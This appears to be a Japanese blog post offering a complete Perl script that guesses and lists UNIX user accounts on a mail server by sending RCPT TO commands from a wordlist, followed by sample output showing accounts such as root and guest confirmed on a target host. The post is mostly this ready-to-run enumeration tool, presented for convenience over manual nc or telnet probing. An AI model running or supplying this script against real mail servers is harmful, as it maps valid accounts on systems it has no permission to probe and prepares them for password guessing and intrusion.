Perl SMTPコマンドを利用したユーザ列挙ツール

/ Perl / Comment[0]
smtpのrcptっていう基本コマンドを使ってUNIXユーザアカウントを辞書アタックで推測、列挙するスクリプト。
ncやtelnetでカタカタやるのはまんどくさいから書いてみた。
#!/usr/bin/perl
use Socket;
($iaddr,$port,$dic) = @ARGV;

$addr = (gethostbyname($iaddr))[4];
$name = pack("S n a4 x8", 2, $port, $addr);
socket(S, 2, 1, 0);
connect(S, $name) or die "$iaddr: $!";
select(S); $| = 1; select(stdout);
while(<S>){
#print;
if($_ =~ /^220/){
print S 'helo world',"\r\n";
}
if($_ =~ /^250/){
print S 'mail from:hacker@hacker.com',"\r\n";
}
if($_ =~ /^250/){
goto attack;
}
}
attack:
open(F, $dic);
while($line = <F>){
chomp($line);
print S "RCPT TO:$line\r\n";
sleep(1);
while(<S>){
#print;
if($_ =~ /2.1.5/){
print $_;
}
goto loop;
}
loop:
}
close(F,S);

# ./smtpfinger.pl 10.0.1.1 25 user.lst
250 2.1.5 root... Recipient ok
250 2.1.5 srv... Recipient ok
250 2.1.5 guest... Recipient ok
250 2.1.5 mail... Recipient ok
関連記事

コメント

:
:
:
:
:
管理人のみ表示を許可